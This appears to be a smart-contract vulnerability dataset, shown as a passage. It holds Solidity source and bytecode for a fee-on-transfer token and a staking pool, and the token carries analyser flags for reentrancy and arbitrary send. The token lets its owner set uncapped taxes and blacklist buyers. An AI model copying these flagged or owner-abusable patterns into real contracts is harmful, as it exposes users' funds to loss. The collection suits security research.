_maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638f70ccf7116100a0578063a9059cbb1161006f578063a9059cbb146105aa578063c5528490146105ca578063dd62ed3e146105ea578063ea1644d514610630578063f2fde38b1461065057600080fd5b80638f70ccf71461052c5780638f9a55c01461054c57806395d89b41146105625780639e78fb4f1461059557600080fd5b8063790ca413116100dc578063790ca413146104c25780637d1db4a5146104d8578063881dce60146104ee5780638da5cb5b1461050e57600080fd5b80636fc3eaec1461045857806370a082311461046d578063715018a61461048d57806374010ece146104a257600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d85780634bf2c7c9146103f85780635d098b38146104185780636d8aa8f81461043857600080fd5b80632fd689e314610366578063313ce5671461037c57806333251a0b1461039857806338eea22d146103b857600080fd5b806318160ddd116101c157806318160ddd146102e957806323b872dd1461030e57806327c8f8351461032e57806328bb665a1461034457600080fd5b806306fdde03146101fe578063095ea7b3146102485780630f3a325f146102785780631694505e146102b157600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600f81526e4d494e49205a4f4d42494520494e5560881b60208201525b60405161023f9190611caa565b60405180910390f35b34801561025457600080fd5b50610268610263366004611d24565b610670565b604051901515815260200161023f565b34801561028457600080fd5b50610268610293366004611d50565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102bd57600080fd5b506016546102d1906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102f557600080fd5b50670de0b6b3a76400005b60405190815260200161023f565b34801561031a57600080fd5b50610268610329366004611d6d565b610687565b34801561033a57600080fd5b506102d161dead81565b34801561035057600080fd5b5061036461035f366004611dc4565b6106f0565b005b34801561037257600080fd5b50610300601a5481565b34801561038857600080fd5b506040516009815260200161023f565b3480156103a457600080fd5b506103646103b3366004611d50565b61078f565b3480156103c457600080fd5b506103646103d3366004611e89565b6107fe565b3480156103e457600080fd5b506017546102d1906001600160a01b031681565b34801561040457600080fd5b50610364610413366004611eab565b610833565b34801561042457600080fd5b50610364610433366004611d50565b610862565b34801561044457600080fd5b50610364610453366004611ec4565b6108bc565b34801561046457600080fd5b50610364610904565b34801561047957600080fd5b50610300610488366004611d50565b61092e565b34801561049957600080fd5b50610364610950565b3480156104ae57600080fd5b506103646104bd366004611eab565b6109c4565b3480156104ce57600080fd5b50610300600a5481565b3480156104e457600080fd5b5061030060185481565b3480156104fa57600080fd5b50610364610509366004611eab565b6109f3565b34801561051a57600080fd5b506000546001600160a01b03166102d1565b34801561053857600080fd5b50610364610547366004611ec4565b610a6f565b34801561055857600080fd5b5061030060195481565b34801561056e57600080fd5b5060408051808201909152600a8152694d494e495a4f4d42494560b01b6020820152610232565b3480156105a157600080fd5b50610364610abb565b3480156105b657600080fd5b506102686105c5366004611d24565b610c73565b3480156105d657600080fd5b506103646105e5366004611e89565b610c80565b3480156105f657600080fd5b50610300610605366004611ee6565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561063c57600080fd5b5061036461064b366004611eab565b610cb5565b34801561065c57600080fd5b5061036461066b366004611d50565b610cf3565b600061067d338484610ddd565b5060015b92915050565b6000610694848484610f01565b6106e684336106e1856040518060600160405280602881526020016120bf602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061155b565b610ddd565b5060019392505050565b6000546001600160a01b031633146107235760405162461bcd60e51b815260040161071a90611f1f565b60405180910390fd5b60005b815181101561078b5760016009600084848151811061074757610747611f54565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061078381611f80565b915050610726565b5050565b6000546001600160a01b031633146107b95760405162461bcd60e51b815260040161071a90611f1f565b6001600160a01b03811660009081526009602052604090205460ff16156107fb576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108285760405162461bcd60e51b815260040161071a90611f1f565b600b91909155600d55565b6000546001600160a01b0316331461085d5760405162461bcd60e51b815260040161071a90611f1f565b601155565b6015546001600160a01b0316336001600160a01b03161461088257600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161071a90611f1f565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461092457600080fd5b476107fb81611595565b6001600160a01b038116600090815260026020526040812054610681906115cf565b6000546001600160a01b0316331461097a5760405162461bcd60e51b815260040161071a90611f1f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109ee5760405162461bcd60e51b815260040161071a90611f1f565b601855565b6015546001600160a01b0316336001600160a01b031614610a1357600080fd5b610a1c3061092e565b8111158015610a2b5750600081115b610a665760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b604482015260640161071a565b6107fb81611653565b6000546001600160a01b03163314610a995760405162461bcd60e51b815260040161071a90611f1f565b60178054911515600160a01b0260ff60a01b1990921691909117905542600a55565b6000546001600160a01b03163314610ae55760405162461bcd60e51b815260040161071a90611f1f565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611f99565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdf9190611f99565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c509190611f99565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b600061067d338484610f01565b6000546001600160a01b03163314610caa5760405162461bcd60e51b815260040161071a90611f1f565b600c91909155600e55565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b815260040161071a90611f1f565b601954811015610cee57600080fd5b601955565b6000546001600160a01b03163314610d1d5760405162461bcd60e51b815260040161071a90611f1f565b6001600160a01b038116610d825760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071a565b6001600160a01b038216610ea05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071a565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f655760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161071a565b6001600160a01b038216610fc75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161071a565b600081116110295760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161071a565b6001600160a01b03821660009081526009602052604090205460ff16156110625760405162461bcd60e51b815260040161071a90611fb6565b6001600160a01b03831660009081526009602052604090205460ff161561109b5760405162461bcd60e51b815260040161071a90611fb6565b3360009081526009602052604090205460ff16156110cb5760405162461bcd60e51b815260040161071a90611fb6565b6000546001600160a01b038481169116148015906110f757506000546001600160a01b03838116911614155b1561140557601754600160a01b900460ff166111555760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c6564210000000000000000604482015260640161071a565b6017546001600160a01b03838116911614801561118057506016546001600160a01b03848116911614155b15611232576001600160a01b03821630148015906111a757506001600160a01b0383163014155b80156111c157506015546001600160a01b03838116911614155b80156111db57506015546001600160a01b03848116911614155b15611232576018548111156112325760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161071a565b6017546001600160a01b0383811691161480159061125e57506015546001600160a01b03838116911614155b801561127357506001600160a01b0382163014155b801561128a57506001600160a01b03821661dead14155b156112ff576019548161129c8461092e565b6112a69190611fdd565b106112ff5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161071a565b600061130a3061092e565b601a5490915081118080156113295750601754600160a81b900460ff16155b801561134357506017546001600160a01b03868116911614155b80156113585750601754600160b01b900460ff165b801561137d57506001600160a01b03851660009081526006602052604090205460ff16155b80156113a257506001600160a01b03841660009081526006602052604090205460ff16155b1561140257601154600090156113dd576113d260646113cc601154866117cd90919063ffffffff16565b9061184f565b90506113dd81611891565b6113ef6113ea8285611ff5565b611653565b4780156113ff576113ff47611595565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061144757506001600160a01b03831660009081526006602052604090205460ff165b8061147957506017546001600160a01b0385811691161480159061147957506017546001600160a01b03848116911614155b1561148657506000611549565b6017546001600160a01b0385811691161480156114b157506016546001600160a01b03848116911614155b1561150c576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a54900361150c576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561153757506016546001600160a01b03858116911614155b1561154957600d54600f55600e546010555b6115558484848461189e565b50505050565b6000818484111561157f5760405162461bcd60e51b815260040161071a9190611caa565b50600061158c8486611ff5565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561078b573d6000803e3d6000fd5b60006007548211156116365760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161071a565b60006116406118d2565b905061164c838261184f565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061169b5761169b611f54565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117189190611f99565b8160018151811061172b5761172b611f54565b6001600160a01b0392831660209182029290920101526016546117519130911684610ddd565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061178a90859060009086903090429060040161200c565b600060405180830381600087803b1580156117a457600080fd5b505af11580156117b8573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826000036117df57506000610681565b60006117eb838561207d565b9050826117f8858361209c565b1461164c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161071a565b600061164c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118f5565b6107fb3061dead83610f01565b806118ab576118ab611923565b6118b6848484611968565b8061155557611555601254600f55601354601055601454601155565b60008060006118df611a5f565b90925090506118ee828261184f565b9250505090565b600081836119165760405162461bcd60e51b815260040161071a9190611caa565b50600061158c848661209c565b600f541580156119335750601054155b801561193f5750601154155b1561194657565b600f805460125560108054601355601180546014556000928390559082905555565b60008060008060008061197a87611a9f565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119ac9087611afc565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119db9086611b3e565b6001600160a01b0389166000908152600260205260409020556119fd81611b9d565b611a078483611be7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a4c91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a7640000611a7a828261184f565b821015611a9657505060075492670de0b6b3a764000092509050565b90939092509050565b6000806000806000806000806000611abc8a600f54601054611c0b565b9250925092506000611acc6118d2565b90506000806000611adf8e878787611c5a565b919e509c509a509598509396509194505050505091939550919395565b600061164c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061155b565b600080611b4b8385611fdd565b90508381101561164c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161071a565b6000611ba76118d2565b90506000611bb583836117cd565b30600090815260026020526040902054909150611bd29082611b3e565b30600090815260026020526040902055505050565b600754611bf49083611afc565b600755600854611c049082611b3e565b6008555050565b6000808080611c1f60646113cc89896117cd565b90506000611c3260646113cc8a896117cd565b90506000611c4a82611c448b86611afc565b90611afc565b9992985090965090945050505050565b6000808080611c6988866117cd565b90506000611c7788876117cd565b90506000611c8588886117cd565b90506000611c9782611c448686611afc565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611cd757858101830151858201604001528201611cbb565b81811115611ce9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107fb57600080fd5b8035611d1f81611cff565b919050565b60008060408385031215611d3757600080fd5b8235611d4281611cff565b946020939093013593505050565b600060208284031215611d6257600080fd5b813561164c81611cff565b600080600060608486031215611d8257600080fd5b8335611d8d81611cff565b92506020840135611d9d81611cff565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611dd757600080fd5b823567ffffffffffffffff80821115611def57600080fd5b818501915085601f830112611e0357600080fd5b813581811115611e1557611e15611dae565b8060051b604051601f19603f83011681018181108582111715611e3a57611e3a611dae565b604052918252848201925083810185019188831115611e5857600080fd5b938501935b82851015611e7d57611e6e85611d14565b84529385019392850192611e5d565b98975050505050505050565b60008060408385031215611e9c57600080fd5b50508035926020909101359150565b600060208284031215611ebd57600080fd5b5035919050565b600060208284031215611ed657600080fd5b8135801515811461164c57600080fd5b60008060408385031215611ef957600080fd5b8235611f0481611cff565b91506020830135611f1481611cff565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611f9257611f92611f6a565b5060010190565b600060208284031215611fab57600080fd5b815161164c81611cff565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b60008219821115611ff057611ff0611f6a565b500190565b60008282101561200757612007611f6a565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561205c5784516001600160a01b031683529383019391830191600101612037565b50506001600160a01b03969096166060850152505050608001529392505050565b600081600019048311821515161561209757612097611f6a565b500290565b6000826120b957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206680bf980f08d9ab77b985777ca9d4bc41e5dc454699ece65606e9885a730a6a64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,544
0x3c1738eb90405c9806b49a01c14d220b1e61657c
/** *Submitted for verification at Etherscan.io on 2021-04-30 */ pragma solidity ^0.5.0; contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call.value(amount)(""); require( success, "Address: unable to send value, recipient may have reverted" ); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } contract LPTokenWrapper is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public BSKTASREWARD = IERC20(0xC03841B5135600312707d39Eb2aF0D2aD5d51A91); // Approve and Transfer for Stake and Withdraw uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) nonReentrant public { uint256 actualAmount = amount.sub(amount.mul(20).div(1000)); // manage 2% token difference _totalSupply = _totalSupply.add(actualAmount); _balances[_msgSender()] = _balances[_msgSender()].add(actualAmount); BSKTASREWARD.safeTransferFrom(_msgSender(), address(this), amount); } function withdraw(uint256 amount) nonReentrant public { _totalSupply = _totalSupply.sub(amount); _balances[_msgSender()] = _balances[_msgSender()].sub(amount); BSKTASREWARD.safeTransfer(_msgSender(), amount); } } contract BsktLPPool is LPTokenWrapper { IERC20 public STAKEBSKT = IERC20(0xC03841B5135600312707d39Eb2aF0D2aD5d51A91); // BSKT TOKEN ADDRESS uint256 public duration = 30 days; //-----| Pool Duration |----- uint256 public starttime = 0; //-----| Pool will start once notify the reward |----- uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; mapping(address => bool) public minimumBsktStakingEntry; event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event Rewarded(address indexed from, address indexed to, uint256 value); modifier checkStart() { require( block.timestamp >= starttime, "Error:Pool not started yet." ); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function stake(uint256 amount) public updateReward(_msgSender()) checkStart { require(amount > 0, "Cannot stake 0"); if(!minimumBsktStakingEntry[_msgSender()]) require(amount >= 5000 * 10 ** 18, "Error:For Initial entry 5000 token must be required."); super.stake(amount); minimumBsktStakingEntry[_msgSender()] = true; emit Staked(_msgSender(), amount); } function withdraw(uint256 amount) public updateReward(_msgSender()) { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(_msgSender(), amount); } // withdraw stake and get rewards at once function exit() external { withdraw(balanceOf(_msgSender())); getReward(); } function getReward() public nonReentrant updateReward(_msgSender()){ uint256 reward = earned(_msgSender()); if (reward > 0) { rewards[_msgSender()] = 0; STAKEBSKT.safeTransfer(_msgSender(), reward); emit Rewarded(address(this), _msgSender(), reward); } } // notify reward set for duration function notifyRewardRate(uint256 _reward) public updateReward(address(0)) onlyOwner{ rewardRate = _reward.div(duration); lastUpdateTime = block.timestamp; starttime = block.timestamp; periodFinish = block.timestamp.add(duration); } // update duration function setDuration(uint256 _duration) public onlyOwner { duration = _duration; } }
0x608060405234801561001057600080fd5b506004361061018d5760003560e01c80638b876347116100de578063c8f33c9111610097578063e9fad8ee11610071578063e9fad8ee146105dc578063ebe2b12b146105e6578063f2fde38b14610604578063f6be71d1146106485761018d565b8063c8f33c9114610582578063cd3daf9d146105a0578063df136d65146105be5761018d565b80638b876347146104285780638da58897146104805780638da5cb5b1461049e5780638f32d59b146104e8578063a694fc3a1461050a578063b3c7548e146105385761018d565b80632e1a7d4d1161014b57806370a082311161012557806370a082311461038a578063715018a6146103e25780637b0a47ee146103ec57806380faa57d1461040a5761018d565b80632e1a7d4d146103245780633d18b912146103525780634041ef411461035c5761018d565b80628cc262146101925780630700037d146101ea5780630a1c8166146102425780630e51c2861461028c5780630fb5a6b4146102e857806318160ddd14610306575b600080fd5b6101d4600480360360208110156101a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610676565b6040518082815260200191505060405180910390f35b61022c6004803603602081101561020057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061075d565b6040518082815260200191505060405180910390f35b61024a610775565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102ce600480360360208110156102a257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061079b565b604051808215151515815260200191505060405180910390f35b6102f06107bb565b6040518082815260200191505060405180910390f35b61030e6107c1565b6040518082815260200191505060405180910390f35b6103506004803603602081101561033a57600080fd5b81019080803590602001909291905050506107cb565b005b61035a61098e565b005b6103886004803603602081101561037257600080fd5b8101908080359060200190929190505050610c2f565b005b6103cc600480360360208110156103a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd6565b6040518082815260200191505060405180910390f35b6103ea610e1f565b005b6103f4610f58565b6040518082815260200191505060405180910390f35b610412610f5e565b6040518082815260200191505060405180910390f35b61046a6004803603602081101561043e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f71565b6040518082815260200191505060405180910390f35b610488610f89565b6040518082815260200191505060405180910390f35b6104a6610f8f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104f0610fb8565b604051808215151515815260200191505060405180910390f35b6105366004803603602081101561052057600080fd5b8101908080359060200190929190505050611016565b005b61054061136c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61058a611392565b6040518082815260200191505060405180910390f35b6105a8611398565b6040518082815260200191505060405180910390f35b6105c6611430565b6040518082815260200191505060405180910390f35b6105e4611436565b005b6105ee611458565b6040518082815260200191505060405180910390f35b6106466004803603602081101561061a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061145e565b005b6106746004803603602081101561065e57600080fd5b81019080803590602001909291905050506114e4565b005b6000610756600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610748670de0b6b3a764000061073a610723600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610715611398565b61156890919063ffffffff16565b61072c88610dd6565b6115b290919063ffffffff16565b61163890919063ffffffff16565b61168290919063ffffffff16565b9050919050565b600d6020528060005260406000206000915090505481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915054906101000a900460ff1681565b60065481565b6000600354905090565b6107d361170a565b6107db611398565b600b819055506107e9610f5e565b600a81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108b65761082c81610676565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000821161092c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b61093582611712565b61093d61170a565b73ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5836040518082815260200191505060405180910390a25050565b60026001541415610a07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b6002600181905550610a1761170a565b610a1f611398565b600b81905550610a2d610f5e565b600a81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610afa57610a7081610676565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610b0c610b0761170a565b610676565b90506000811115610c24576000600d6000610b2561170a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bb7610b6e61170a565b82600560009054906101000a900473ffffffffffff